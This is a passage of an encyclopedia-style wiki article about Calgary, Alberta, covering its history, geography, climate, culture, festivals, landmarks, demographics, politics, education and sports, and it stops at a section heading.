Calgary is well-known as a destination for winter sports and [[ecotourism]] with a number of major mountain resorts near the city and metropolitan area. Calgary's economy is largely centred on the petroleum industry (see [[oilpatch]]), with agriculture, tourism, and the high-tech industries contributing to the city's rapid economic growth. Calgary now has the second highest concentration of head offices in Canada. Calgary also holds many major annual festivals, including the [[Calgary Stampede]], the Folk Music Festival, the Summerstock Festival, the Lilac Festival, and the second largest Caribbean festival in the country (Carifest). Calgary was the first Canadian city to host [[Winter Olympic Games|The Olympic Winter Games]] (1988). 

==History==
===First settlement===
[[Image:1875Mounties.jpg|thumb|left|North West Mounted Police post, 1875]]Before the Calgary area was settled by Europeans, it was the domain of the [[Blackfoot]] people whose presence has been traced back at least 11,000 years. In 1787 cartographer [[David Thompson (explorer)|David Thompson]] spent the winter with a band of [[Peigan]] Indians encamped along the Bow River. He was the first recorded European to visit the area. By [[1860]] settlers began arriving to eat buffalo.

The first recorded settler in Calgary was rancher [[Sam Livingston]] in the early [[1870s]], and in [[1875]] the site became a post of the [[North West Mounted Police]] (now the [[RCMP]]).  Originally named Fort Brisebois, after NWMP officer [[Éphrem-A Brisebois]], it was renamed [[Fort Calgary]] in [[1876]] because of questionable conduct on the part of that officer. The NWMP detachment was assigned to protect the western plains from [[United States|US]] whiskey traders. Fort Calgary was named by [[James Macleod|Colonel James Macleod]] after [[Calgary, Mull|Calgary]] (''Cala-ghearraidh'', ''Beach of the pasture'') on the [[Isle of Mull]], [[Scotland]]. When the [[Canadian Pacific Railway]] reached the area and a rail station was constructed, Calgary began to grow into an important commercial and agricultural centre. The [[Canadian Pacific Railway]] headquarters are located in Calgary today. Calgary was officially incorporated as a town in [[1884]] and elected its first mayor, [[George Murdoch]]. In [[1894]], Calgary became the first city in what was then, the [[Northwest Territories]].

===The oil boom===
Oil was first discovered in [[Alberta]] in 1914, but it didn't become a significant industry in the province until the 1960s when huge reserves of it were discovered. Calgary quickly found itself at the centre of the ensuing oil boom. The city's economy grew when oil prices increased with the [[Arab Oil Embargo]] of 1973. The population increased by 244,000 in the sixteen years between 1971 (403,000) and 1987 (647,000). During this time, [[List of Calgary's 10 tallest skyscrapers|skyscrapers]] were constructed at a pace seen by few cities anywhere. The relatively low-rise [[Downtown Calgary|downtown]] quickly became dense with tall buildings: a trend that continues to this day. 

Calgary's economy was so closely tied to the oil industry that the city's boom peaked with the average annual price of oil in 1981.  
[http://inflationdata.com/inflation/Inflation_Rate/Historical_Oil_Prices_Table.asp]
The subsequent drop in oil prices and the introduction of [[National Energy Program]], were cited by industry as reasons for a collapse in the oil industry, and consequently the overall Calgary economy.
The NEP was cancelled in the mid-1980s by the [[Brian Mulroney]] federal government. Continued low oil prices, however, prevented a full recovery until the 1990s.

===Recent history===
[[Image:Downtown_Calgary.jpg |thumb|200px|left|[[Downtown Calgary]], 2003]]
With the energy sector employing a huge number of Calgarians, the fallout from the economic slump of the early 1980s was understandably significant. The unemployment rate soared. By the end of the decade, however, the economy was in recovery. Calgary quickly realized that it could not afford to put so much emphasis on oil and gas, and the city has since become much more diverse, both economically and culturally. The period during this recession marked Calgary's transition from a mid-sized and relatively nondescript prairie city into a major cosmopolitan and diverse centre. This transition culminated in February of 1988, when the city hosted the [[XV Olympic Winter Games]]. The success of these games essentially put the city on the world stage.

The economy in Calgary and [[Alberta]] is now booming, and the city of over a million people is still among the fastest growing in the country. In fact, Calgary is now second only to [[Toronto]] for its concentration of corporate head offices and boasts a higher GDP per capita than any other major Canadian city. While the oil and gas industry and agriculture still comprise a huge part of the economy, the city has invested a great deal into other areas. Tourism is perhaps one of the fastest growing industries in the city. Over 4.5 million people now visit the city on an annual basis for its many festivals and attractions, as well as the [[Calgary Stampede]]. The nearby mountain resort towns of [[Banff, Alberta|Banff]], [[Lake Louise, Alberta|Lake Louise]], and [[Canmore, Alberta|Canmore]] are also becoming increasingly popular with tourists, and are bringing people into Calgary as a result. Other modern industries include light manufacturing, high-tech, film, transportation, and services. The city has also ranked high in quality of life surveys.

In 2004, the [[Calgary Flames]] of the [[National Hockey League]] won the Western Conference championship, only to lose to the Tampa Bay Lightning in Game 7 of the [[Stanley Cup]] Finals.

==Geography==
[[Image:69_Calgary.jpg |thumb|right|Calgary in 1969]]

Calgary is located within the foothills of the [[Rocky Mountains]] and is relatively hilly as a result. Calgary's elevation is approximately 1048 metres (3440 feet) above sea level downtown, and 1139 metres (3736 feet) at the airport. The city proper covers a land area of 721 km&lt;sup&gt;2&lt;/sup&gt; (as of 2001). There are two major rivers that run through the city. The [[Bow River]] is the largest and flows from the west to the south. The [[Elbow River]] flows northwards from the south until it converges with the Bow River near [[Downtown Calgary|downtown]]. Since the climate of the region is generally dry, dense vegetation occurs ''naturally'' only in the river valleys and within [[Fish Creek Provincial Park]], the largest urban park in Canada.

The city is quite large in physical area, consisting of an inner city surrounded by various communities of decreasing density. Unlike most cities with a sizable metropolitan area, most of Calgary's suburbs are incorporated into the city proper, with the notable exceptions of the city of [[Airdrie, Alberta|Airdrie]] to the north, [[Cochrane, Alberta|Cochrane]] to the northwest, [[Strathmore, Alberta|Strathmore]] to the east, and the sprawling Springbank district to the west. Though it is not technically within Calgary's metropolitan area, the town of [[Okotoks, Alberta|Okotoks]] is only a short distance to the south and is considered a suburb as well. The [[Calgary Region|Calgary Economic Region]] includes slightly more area that the [[Census Metropolitan Area|CMA]] and has a population of 1,146,900.

Because of the growth of the city, its southwest borders are now immediately adjacent to the [[Tsuu T'ina|Tsuu T&amp;#8217;ina]] (Sarcee) Nation Native Indian reserve. Recent residential developments in the deep southwest of the city have created a need for a major roadway heading into the interior of the city, but because of complications in negotiations with the Sarcee about the construction, the much-needed construction has not yet begun.

===Calgary's neighbourhoods===
{{main|List of Neighbourhoods in Calgary}}

The [[Downtown Calgary|downtown ''region'']] of the city consists of five neighbourhoods: [[Eau Claire, Calgary|Eau Claire]] (including the Festival District), the Downtown West End, the [[Downtown Calgary|Downtown Commercial Core]], [[Chinatown, Calgary|Chinatown]], and the [[Downtown East Village]] (also part of the [[Beltline#Rivers District|Rivers District]]). The commercial core is itself divided into a number of districts including the Stephen Avenue Retail Core, the Penny Lane Entertainment District, the Arts District and the Government District. Distinct from downtown and south of 9th Avenue is Calgary's densest neighbourhood, the [[Beltline]]. The area includes a number of communities such as [[Beltline|Midtown]], Victoria Crossing and a portion of the Rivers District. The Beltline is the focus of major planning and rejuvenation initiatives on the part of the municipal government to increase the density and liveliness of Calgary's centre.

Adjacent to, or directly radiating from the [[Downtown Calgary|downtown]] are the first of the inner-city communities. These include Crescent Heights, Sunnyside, Hounsfield Heights/Briar Hill, Hillhurst (including [[Kensington, Calgary|Kensington]] [[List of Neighbourhoods in Calgary#Business Revitalization Zones|BRZ]]), Bridgeland, Renfrew, [[Mount Royal, Calgary|Mount Royal]], [[Mission, Calgary|Mission]] and [[Inglewood, Calgary|Inglewood]]. The inner city is, in turn, surrounded by relatively dense and established neighbourhoods such as Rosedale and Mount Pleasant to the north; [[Bowness, Alberta|Bowness]], [[Parkdale, Calgary|Parkdale]] and Westgate to the west; Park Hill, South Calgary (including [[Marda Loop]]), Altadore and Killarney to the south; and [[International Avenue, Calgary|Forest Lawn/International Avenue]] to the east. Lying beyond these, and usually separated from one another by highways, are the suburban communities, often characterized as &quot;commuter communities&quot;. The city's deep south is probably expanding the fastest and includes communities such as Cranston and [[McKenzie Lake]].  In all, there are over 180 distinct neighbourhoods within the city limits.

==Climate==
Although Calgary's winters can be downright cold, Environment Canada still ranks the city as having the 3rd most temperate climate in the country (of major cities) after [[Victoria, British Columbia|Victoria]] and [[Vancouver, British Columbia|Vancouver]]. This is due in large part to the dry [[Chinook wind|Chinook winds]] that routinely blow into the city from the Pacific Ocean during the winter months. These winds have been known to raise the winter temperature by up to 20°C and may last several days. The chinooks are such a common feature of Calgary's winters that only one month (January 1950) has failed to witness a thaw over more than 100 years of weather observations.

Nevertheless, Calgary is a city of extremes, and temperatures have ranged anywhere from a record low of &amp;minus;45°C in 1893 to a record high of +36°C in 1919. Although summer temperatures in the +30s are not all that uncommon, it rarely gets colder than &amp;minus;30°C, even in the dead of winter. On average the temperature ranges from a minimum &amp;minus;15°C in January to a maximum of 23°C in July and August.

With an average relative humidity of 65% in the winter, Calgary is a dry city and receives very little rain or snow relative to other Canadian cities. Despite this, thunder and hail storms in the summer and blizzards in the other three seasons are not uncommon. Calgary receives an average of 400mm (15.7in) of precipitation annually, with 301mm (11.8in) of that as rain, and the remainder as snow. Most of the precipitation occurs from May to August.

'''Seasons'''
*Winter: November to mid-March.
*Spring: mid-March to May
*Summer: June to August
*Autumn: September to November

'''Other climatic periods'''
*Heavy snowfall season: March to early May(February however, tends to be the driest month of the year)
*Heavy rainfall month: June 
*Thunderstorm/hail season: late May to early September
*Chinook season: late October to early April (its effect is most pronounced in the cooler months, though Chinooks can occur at any time.)

==City life==
Calgary's urban scene has changed considerably since the city has grown. It is also starting to become recognized as one of Canada's most diverse cities. Today, Calgary is a modern cosmopolitan city that still retains much of its traditional culture of hotel [[bar (establishment)|saloons]], [[ice hockey|hockey]] and [[Western Music (North America)|western music]]. As a relatively ethnically diverse city, Calgary also has a number of major multi-cultural areas. It has one of the largest [[Chinatown, Calgary|Chinatowns]] in Canada as well as a burgeoning “Little Italy” in the Bridgeland neighbourhood. Forest Lawn is among the most diverse areas in the city and as such, the area around 17th Avenue SE. within the neighbourhood is also known as [[International Avenue, Calgary|International Avenue]]. The district is home to a wide variety of ethnic restaurants and stores.

As the population has grown, and particularly, as the urban density in central Calgary has increased, so too has the vitality of this area. While the city continues to embrace suburbanism, people are beginning to find a wide variety alternatives in the inner city. This has lead to significant increases in the popularity of central districts such as [[Beltline|17th Avenue]], [[Kensington, Calgary|Kensington]], [[Inglewood, Calgary|Inglewood]], [[Marda Loop]] and the [[Mission, Calgary|Mission District]]. The nightlife and the availability of cultural venues in these areas has gradually begun to evolve as a result.

Although Calgary and Alberta have traditionally been affordable places to live, substantial growth (much of it due to the prosperous energy sector) has lead to increasing demand on real-estate. As a result, house prices in Calgary have increased significantly in recent years and are now quite high relative to other Canadian cities. 

===Arts and culture===
[[Image:Olympic_Plaza.jpg |thumb|left|Olympic Plaza in the Arts District]]
Calgary is the site of the Southern Alberta Jubilee Auditorium, a 4 million cubic foot (113,000 m&lt;sup&gt;3&lt;/sup&gt;) performing arts, culture and community facility.  The auditorium is one of two &quot;twin&quot; facilities in the province, the other located in Edmonton.  The 2,700-seat auditorium was opened in 1957 and has been host to hundreds of Broadway musical, theatrical, stage and local productions.  Annually, over 850,000 visitors frequent the performance space.  The &quot;Jubes&quot; as they are known, are the resident home of the [[Alberta Ballet]], the [[Calgary opera]], the [[Kiwanis Music Festival]], and the annual Canadian Legion [[Remembrance Day]] Ceremonies.  The two auditoria are run by community-based non-profit societies and operate 365 days a year.  The two auditoria have recently completed a $91 million renovation. They reopened on the Province's Centennial, September 1, 2005.

Calgary is also home to the internationally-renowned contemporary theatre company, [[One Yellow Rabbit]]. The company shares the massive [[EPCOR Centre for the Performing Arts]] with the [[Calgary Philharmonic Orchestra]] and two more established theatre companies, [[Theatre Calgary]] and [[Alberta Theatre Projects]].  Calgary was also the birthplace of the improvisational theatre games known as [[Theatresports]]. The [[Calgary International Film Festival]] is also held in the city annually.

The city is also home to several museums. The most well known of these, the [[Glenbow Museum]] is the largest in western Canada and includes an art gallery. Other major museums include the largest Chinese Cultural Centre in North America, the Canadian Olympic Hall of Fame (at [[Canada Olympic Park]]), the Museum of the Regiments, the Cantos Music Museum and the Aero Space Museum. There are also a number of art galleries in the city and many of them are concentrated along the Stephen Avenue and [[Beltline#Uptown 17th Avenue|17th Avenue]] corridors. The largest of these is the Art Gallery of Calgary (AGC).

Calgary is affectionately called the [[Nashville]] of the North, and took a large part in the country revival of the 1990s. Currently, some of the city's most popular bars trade on the image of cool country, playing contemporary country music to young twenty-somethings.

Calgary is also home to a thriving all-ages music scene.

===Annual festivals===
[[Image:Eau_Claire.jpg |thumb|300px|right|Festival plaza in [[Eau Claire, Calgary|Eau Claire]].]]
*Winter Festival (February)
*Rodeo Royal (March)
*[[Calgary Independent Film Festival]] (March)
*Visaki Mela (Punjabi Spring Harvest Festival) (May)
*International Children's Festival (May)
*4th Street Lilac Festival (May)
*Carifest (June)
*[[Banff World Television Festival]] (June)
*International Jazz Festival (June)
*Calgary International Spoken word Festival (June)
*Greek Festival (June)
*[[Calgary Stampede]] (July)
*Chariot Festival of India (July)
*Folk Music Festival (July)
*Heritage Day (August)
*[[Summerstock Theatre Festival]] (August)
*Dragonboat Festival (August)
*Afrikadey! (August)
*International Reggae Festival (August)
*[[International Avenue|GlobalFest]] - One World Festival and International Fireworks Competition (August)
*Expo Latino (August)
*Barbecue on the Bow (September)
*Artcity - Festival of Art, Design and Architecture (September)
*[[Calgary International Film Festival]] (September / October)
*Banff Festival of Mountain Films (October)
*Twelve Days of Christmas (December)
*[[Calgary Zoo#Zoolights|Zoolights]] (December/January)

====The Stampede====
The city is famous for the [[Calgary Stampede]], a very large agricultural fair and rodeo every July. The Stampede officially bills itself as &quot;The Greatest Outdoor Show on Earth&quot;. It features an internationally recognized rodeo competition, a midway, stage shows, agricultural competitions, chuckwagon races, [[First Nations]] exhibitions, and pancake breakfasts around the city, among other attractions. It is among the largest and most well known festivals in Canada. The event has a 93 year history. 

The [[Calgary Stampede]] was inaugurated in 1912 by [[Guy Weadick]], an American trick roper. Weadick wanted to put on a world-class rodeo event and Wild West show that would bring the best cowboys from across the continent. The first Stampede was the richest rodeo competition in North America with prize money totaling $20,000. It drew more than 100,000 spectators. In 1923, the Stampede was combined with the Calgary Exhibition and the chuckwagon races were added. In 2004, the rodeo prize money was doubled to $1 million to put the Stampede on par with other major rodeos such as the National Finals Rodeo. 

In 2005, attendance at the 10-day rodeo and exhibition totalled 1,242,928, which set a new record. Attendance at the &quot;Stampede Parade&quot; (North America's second longest parade), which takes place downtown on opening day is usually somewhere between 300,000 and 400,000. During Stampede Week, many of the city's residents dress in country attire, and many businesses decorate their stores and offices in this &quot;western&quot; style.

==Sights==
[[Image:Stephen_Avenue.jpg |thumb|left|Stephen Avenue]]
[[Downtown Calgary|Calgary's downtown]] can easily be recognized by its numerous [[List of Calgary's 10 tallest skyscrapers|skyscrapers]]. To connect many of the downtown office buildings, the city also boasts the world's most extensive [[skyway]](skywalk) network (elevated indoor pedestrian bridges), officially called the [[Plus 15|+15]]. The name derives from the fact that the bridges are usually 15 feet above grade. The city's downtown also features an eclectic mix of restaurants and bars, cultural venues, shopping (most notably, TD Square, [[Eaton Centre (Canada)|Calgary Eaton Centre]], Stephen Avenue, and [[Beltline#Uptown 17th Avenue|17th Avenue]]), and public squares such as Olympic Plaza. Downtown tourist attractions include the [[Calgary Zoo]], the [[TELUS World of Science, Calgary|TELUS World of Science]], the [[TELUS Convention Centre]], the [[Chinatown, Calgary|Chinatown]] district, the [[Glenbow Museum]], the [[Calgary Tower]], the Art Gallery of Calgary (AGC), the [[EPCOR Centre for the Performing Arts]], and Eau Claire Market. At 2.5 acres (10,000 m&amp;sup2;), the [[Devonian Gardens]] is one of the largest urban indoor gardens in the world, and it is located on the 4th floor of TD Square (above the shopping). The [[Downtown Calgary|downtown region]] is also home to Prince's Island Park, an urban park located just north of the Eau Claire district. Directly to the south of downtown is [[Beltline#Midtown|Midtown]] and the [[Beltline]]. This area is quickly becoming one of the city's densest and most active mixed use areas. At the district's core is the popular &quot;[[Beltline#Uptown 17th Avenue|17th Avenue]]&quot;, which is known for its many bars and nightclubs, restaurants, and shopping venues.  During the [[Calgary Flames]]' playoff run in 2004, 17th Avenue was frequented by over 50,000 fans and supporters per game night. The concentration of notorious red jersey-wearing fans led to the street's playoff moniker, the &quot;Red Mile&quot;. [[Downtown Calgary]] is easily accessed using the city's [[C-Train]] rapid transit system.

On the west side of the city, on the banks of the [[Glenmore Reservoir]], is [[Heritage Park|Heritage Park Historical Village]].  Highlights include a working steam train, a historic Calgary streetcar shuttle from the lower parking lots, and an antique midway. The village is comprised of historic buildings relocated from Southern Alberta towns, or in many cases, replicas of these buildings. Other major city attractions include [[Canada Olympic Park]] (and the Canadian Olympic Hall of Fame), Calaway Park amusement park, and Race City Motorsport Park. In addition to the many shopping areas in the city centre, there are a number of large suburban shopping complexes in Calgary. Among the largest are [[Chinook Centre]] and Southcentre in the south, WestHills and Signal Hill in the southwest, Market Mall in the northwest, and Sunridge Mall in the northeast.

===Attractions and landmarks===
{| width = 75% border=&quot;1&quot; cellpadding=&quot;4&quot; align=&quot;center&quot; cellspacing=&quot;0&quot; style=&quot;background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;&quot;
| width = 30% align=&quot;left&quot;| &lt;center&gt;'''''Northwest'''''&lt;/center&gt;
*[[University of Calgary]]
*[[Southern Alberta Jubilee Auditorium]]
*[[McMahon Stadium]] &lt;small&gt;- Home of &lt;br&gt;[[Calgary Stampeders]] ([[Canadian Football League|CFL]])&lt;/small&gt;
| width = 30% align=&quot;left&quot; | &lt;center&gt;'''''North'''''&lt;/center&gt;
*[[Nose Hill Park]]
&lt;br&gt;
&lt;br&gt;
| width = 30% align=&quot;left&quot; | &lt;center&gt;'''''Northeast'''''&lt;/center&gt;
* [[Calgary International Airport]]
&lt;br&gt;
|- 
| width = 30% align=&quot;left&quot;| &lt;center&gt;'''''West'''''&lt;/center&gt;
*[[Canada Olympic Park]] and &lt;br&gt;Canadian Olympic Hall of Fame
*[[Calaway Park]]&lt;br&gt; Amusement Park
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
| width = 30% align=&quot;left&quot; | &lt;center&gt;'''''[[Downtown Calgary|Downtown]]'''''&lt;/center&gt;
*[[TELUS World of Science, Calgary]]
*[[Fairmont Palliser Hotel|Palliser Hotel]]
*[[Calgary Tower]]
*[[Devonian Gardens]]
*[[TELUS]] Convention Centre
*[[Fort Calgary|Fort Calgary Historic Site]]
*City Hall and Olympic Plaza
*[[Glenbow Museum]]
*[[Petro-Canada Centre]]
*[[Police Interpretive Centre]]
*[[EPCOR Centre for the Performing Arts]]
| width = 30% align=&quot;left&quot; | &lt;center&gt;'''''East'''''&lt;/center&gt;
*[[Calgary Zoo]]

[[Image:CalgaryzooRain.JPG|175px|center]]
&lt;br&gt;
&lt;br&gt;
|- 
| width = 30% align=&quot;left&quot; | &lt;center&gt;'''''Southwest'''''&lt;/center&gt;
*[[Glenmore Reservoir]]
*[[Heritage Park|Heritage Park Historical Village]]
*[[Spruce Meadows]]
*[[Battalion Park]]
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
| width = 30% align=&quot;left&quot; | &lt;center&gt;'''''South'''''&lt;/center&gt;
*[[Calgary Stampede|Calgary Stampede Grounds]]
*[[Pengrowth Saddledome]] &lt;small&gt;- Home of &lt;br&gt;[[Calgary Flames]] ([[National Hockey League|NHL]])&lt;/small&gt;
*[[Museum of the Regiments]]
*[[Naval Museum of Alberta]]
*[[Chinook Centre]] Mall
*[[Fish Creek Provincial Park]]

| width = 30% align=&quot;left&quot; | &lt;center&gt;'''''Southeast'''''&lt;/center&gt;
*[[Race City Speedway]]
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
|}&lt;br /&gt;

==== Calgary's skyline ====
[[Image:Calgary-22.jpg |thumb|right|Calgary's skyline as seen from the east]]
{{main|List of Calgary's 10 tallest skyscrapers}}

Calgary's skyline is very recognizable. This is due in large part to the presence of numerous skyscrapers in and around [[Downtown Calgary|downtown]]. Some of these structures, such as the [[Calgary Tower]] are unique enough to be symbols of Calgary. As a major business centre with a population of just over a million people, this is not suprising. Office buildings tend to concentrate within the commercial core while residential towers occur most frequently within the Downtown West End and the [[Beltline]], south of downtown. These buildings are iconographic of the city's booms and busts, and it is easy to recognize the various phases of development that have shaped the image of downtown. The first skyscraper building boom occured during the late 1950s and continued through to the 1970s. After 1980, during a major recession, many highrise construction projects were immediately halted. It was not until the late 1980s and through to the early 1990s that major construction began again.

In total, there are 8 office towers that are 40 floors or higher. The tallest of these (the [[Petro-Canada Centre]]), is the tallest office tower in Canada outside of [[Toronto]].

==Demographics==
According the 2001 [[Statistics Canada]] federal census, there were '''878,866''' people living within the City of Calgary proper. Of this population, 49.9 per cent were male and 50.1 per cent were female. Children under five accounted for approximately 6.0 per cent of the resident population of Calgary. This compares with 6.2 per cent in [[Alberta]], and almost 5.6 per cent for [[Canada]] overall. 

In 2001, 9.0 per cent of the resident population in Calgary were of retirement age (65 and over for males and females) compared with 13.2 per cent in [[Canada]], therefore, the average age is 34.9 years of age comparing to 37.6 years of age for all of Canada.

In the five years between 1996 and 2001, Calgary's population grew by 15.8 percent. This is contrasted with an increase of 10.3 percent for the province of [[Alberta]]. The population density of Calgary averaged 1,252.3 persons per square kilometre, compared with an average of 4.6, for the province.

*[[Caucasian race|Caucasian]]: 688,465 or 79.0%
*[[Overseas Chinese|Chinese]]: 51,540 or 5.9%
*[[Asia|Other Asian]] (Including [[Indies|East Indian]]): 59,295 or 6.8%
*[[Aboriginal peoples in Canada|Aboriginal]]: 19,765 or 2.3%
*[[Philippines|Filipino]]: 16,245 or 1.9%
*[[Black (people)|Black]]: 13,370 or 1.5%
*[[Latin American]]: 8,525 or 1.0%
*Other: 18,955 or 2.2%
(based on single responses)

Calgary is the main city of [[Division No. 6, Alberta|Census Division No. 6]] and the [[Calgary Region|Calgary Regional Partnership]].

''Statistics are from the 2001 [[Statistics Canada]] census [http://www.statcan.ca/].''

''A city-administered census, conducted annually to assist in negotiating financial agreements with the provincial and federal governemnts, showed a population of just over '''956,000''' in 2005. The population of the Calgary [[Census Metropolitan Area]] is just over '''1.05 million'''. The [[Calgary Region|Calgary Economic Region]] posted a population of just under '''1.15 million''' in 2005.''

==Political scene==
[[Image:CalgaryCityHall.jpg|right|thumb|200px|The [[clock tower]] of Calgary's ''Old City Hall'' (built in 1911), with Olympic Plaza in the foreground.]]

Calgary is traditionally a conservative city, dominated by traditional small-c social conservatives and more modern fiscal conservatives. As the city is a corporate power-centre, a high percentage of the workforce is employed in white-collar jobs. During the 1990s the city's mainstream political culture was dominated by the right-wing [[Reform Party of Canada]] federally, and the [[Alberta Progressive Conservatives]] provincially. The Reform Party was founded in Calgary.

However, as Calgary has grown, its politics have become diverse. One growing alternative movement was recently active during the 2000 World Petroleum Congress demonstrations and the [[J26 G8 Protests|J26 G8 2002 protests]].  Protesters were a mix of locals and outsiders. In early 2003 in response to the [[2003 invasion of Iraq|War on Iraq]], according to organizers, 5,000 to 10,000 people from southern Alberta, and elsewhere, converged outside the U.S. Consulate General's office. The city has chapters of various activist organizations, as well as an [[Anti-Capitalist Convergence]]. Left-wing provincial and federal Liberals tend to distance themselves from the activist movement which also claims support from the left. The [[Green Party of Canada]] has also made inroads in Calgary, achieving 7.5% across the city and 11.3% in Calgary North Centre in the [[Canadian federal election, 2004|2004 federal election]]. A provincial alternative, represented by the right-wing [[Alberta Alliance]], became active during the [[26th Alberta general election]] and campaigned for fiscally and socially conservative reforms, and has managed a growing percentage of support in the past Provincial election. 

Prior to the [[November 22]], [[2004]] General Election, all 21 [[Legislative Assembly of Alberta|provincial MLAs]] representing Calgary were [[Alberta Progressive Conservatives|Progressive Conservatives]]. The province's premier and leader of the Progressive Conservative Party of Alberta, [[Ralph Klein]], has held his [[Calgary Elbow]] seat since [[1989]]. The [[Alberta Liberal Party|Alberta Liberals]] won three seats in the provincial legislature during that election, two of which were new as a result of redistricting.

Currently, all eight of Calgary's [[Canadian House of Commons|federal MPs]] are members of the [[Conservative Party of Canada]]. The CPC's predecessors have traditionally held the majority of the city's federal seats. The federal [[electoral district]] of [[Calgary Southwest|Calgary-Southwest]] is currently held by Prime Minister and CPC leader [[Stephen Harper]]. Coincidentally, the same seat was also held by [[Preston Manning]], the leader of the [[Reform Party of Canada]], a predecessor of CPC. [[Joe Clark]], former [[Prime Minister]] and former leader of the [[Progressive Conservative Party of Canada]] (also a predecessor of the CPC), held the seat in the now-abolished [[riding]] of Calgary Centre. Of Canada's 22 serving Prime Ministers, two have come from a Calgary riding; the first was the Right Honourable [[R.B. Bennett]] who held that position from 1930 to 1935.

===Contemporary issues===
As a city that has experienced rapid growth in recent years, Calgary is having its share of growing pains. Among the most significant is that of [[urban sprawl]].  With no geographical barriers to its growth besides the [[Tsuu T'ina Nation 145, Alberta|Tsuu T'ina First Nation]] to the southwest and an affluent population that can afford large homes and properties, the city now has only a slightly smaller urban footprint than that of [[New York City]] and its [[borough|boroughs]], despite having less than one-eighth the population of New York City proper. This has led to difficulties in providing necessary transportation to Calgary’s population, both in the form of roadways and public transit. The result has also been a downtown which has traditionally lacked life on the evenings and weekends. It has also led to a somewhat misguided interpretation of the city as being a “driver’s city”. With the redevelopment of the [[Beltline]] and the [[Downtown East Village]] at the forefront, efforts are underway to vastly increase the density of the inner city, but the sprawl continues nevertheless. 

Calgary has also struggled to find its own unique identity. On the one hand, it has relentlessly tried to maintain its western heritage. This has led to the popular nickname, &quot;Cowtown&quot;. At the same time, the city has branded itself as being a modern economic and business centre. In recent years, Calgary has also become one of Canada's most [[cosmopolitan]] cities and has been quickly evolving into a major cultural centre. These very different images have often resulted in ambiguity and confusion with regard to the direction of Calgary's continued development.     

Even though Calgary has a relatively low crime rate when compared to other cities in North America, [[gang|gangs]] and drug-related crime are becoming much larger issues than they have been in the past. Gang “warfare” is becoming more common all the time and contributes to a number of [[homicide|homicides]] in the city annually. Drug busts (particularly of [[Cannabis|Marijuana]] grow operations) are also becoming very common, especially in suburban communities where anonymity is possible.

More [[socioeconomics|socioeconomic]] issues have also found their way into the city’s urban fabric in recent history. As the population grows, so does the rate of poverty and homelessness in the city. Certain neighbourhoods along with portions of [[Downtown Calgary|downtown]] have commonly been singled out as being home to much higher proportions of disadvantaged residents. Many neighbourhoods in the city’s east have been particularly (and perhaps unfairly) stereotyped this way.

==Education==
[[image:Ucalgary.jpg|right|thumb|250px|University of Calgary Campus]]
In the year 2005 roughly 97,000 students attended K-12 in about 215 schools in the English language public school system run by the [[Calgary Board of Education]].[http://www.cbe.ab.ca/media/facts.asp]  Another 43,000 attend about 93 schools in the separate English language [[Calgary Catholic School District]] board.[http://www.cssd.ab.ca/schools/index.shtml]  The much smaller francophone community has their own French language school boards (public and Catholic), which are both based in Calgary, but serve a larger regional district.  Also, there are now several public [[Alberta charter schools|charter schools]] in the city.  Calgary has a number of unique schools, including the country's first high school exclusively designed for Olympic calibre athletes, the [[National Sport School (Canada)|National Sport School]].

Calgary is the site of five major public post-secondary institutions. The [[University of Calgary]] is Calgary's primary large degree-granting facility. Currently, nearly 30,000 students are enrolled there. [[Mount Royal College]] is the city's second largest institution (13,000 students), and it grants degrees in a number of fields. [[Bow Valley College|Bow Valley College's]] main campus is located [[Downtown Calgary|downtown]] and provides training in business, technology, and the liberal arts for about 10,000 students (the college has three campuses in Calgary and numerous in the region). The [[Southern Alberta Institute of Technology|Southern Alberta Institute of Technology (SAIT)]] provides polytechnic education. The [[Alberta College of Art and Design|Alberta College of Art and Design (ACAD)]] is located in Calgary. In addition, the [[University of Lethbridge]] has a satellite campus in the city.

There are also several private liberal arts institutions including Alliance University College, Nazarene University College and St. Mary's University College. There are a number of other smaller private colleges in the city. Calgary is also home to [[DeVry University|DeVry Career College's]] only Canadian campus. Calgary was also the home of the Milton Wiliams School for Education Through the Arts, a national centre of excellence in arts immersion education for children between the fifth and ninth grades; however, in early 2005, the aging school was demolished. However, the school is still active on the grounds of the Willow Park Elementary School.

==Sports and recreation==
[[Image:1988_wolympics_logo.jpg|65px|left|XV Olympic Winter Games]]
[[Image:Cop.jpg|thumb|250px|right|Ski Jump and Chair Lift at [[Canada Olympic Park]] Summit]]Calgary hosted the [[1988 Winter Olympic Games]]. Many of the Olympic facilities continue to function as major high performance training facilities. Among the most notable of these are [[Canada Olympic Park]] and the [[Olympic Oval]]. Calgary is currently home to the only [[luge]]/[[bobsleigh]] track and [[ski jumping|ski jump]] tower in Canada.

Athletes also take advantage of the [[Altitude training|high altitude]] to improve their physical limit. With facilities that are considered to be world-class and close proximity to the [[Canadian Rockies]], Calgary attracts athletes from all over Canada and around the world for winter sport training.

Calgary's multipurpose arena, the [[Pengrowth Saddledome]] was formerly known as the Olympic Saddledome. The Saddledome was the first modern arena in North America capable of accommodating an Olympic regulation-sized ice rink. Calgary's primary open-air stadium, [[McMahon Stadium]], was the site of the opening and closing ceremonies of the Olympics and is currently the venue for Calgary's [[Canadian Football League]] team, the Calgary Stampeders. The stadium has a capacity of nearly 40,000 and is the fifth largest in Canada.

The [[Olympic Oval]] is primarily a speed-skating arena that can also accommodate hockey and high-performance training. The rink's ice is world-renowned, and it brings some of the best speed skaters in the world to the facility for training and competition. The Oval has often been touted as having &quot;''the fastest ice on Earth''&quot; due to the fact that it is a climate-controlled facility and because of the effects of high altitude on the ice surface. As a result, many world records have been broken there. It was at this place where the likes of [[Catriona LeMay Doan]] and [[Cindy Klassen]] trained for their Olympic and world stardom. 

Calgary is also the home of &quot;'''The Dungeon'''&quot;, the [[pro wrestling]] training camp founded by the late [[Stu Hart]]. Two of Hart's sons trained there and went to be some of the greatest competitors the sport has ever seen: [[Bret Hart]] and the late [[Owen Hart]]. Many [[Canadian]] [[wrestlers]] trained at the Dungeon, including [[Chris Jericho]], [[Chris Benoit]], [[Bad News Allen]], and fellow Calgary native, [[Lance Storm]].  Numerous American wrestlers such as Andrew &quot;Test&quot; Martin, Steve Blackman, Brian Pillman and Jim &quot;The Anvil&quot; Neidhart and British wrestlers &quot;The British Bulldog&quot; Davey Boy Smith and the Dynamite Kid were also trained in &quot;the Dungeon&quot;.

===Current professional franchises===
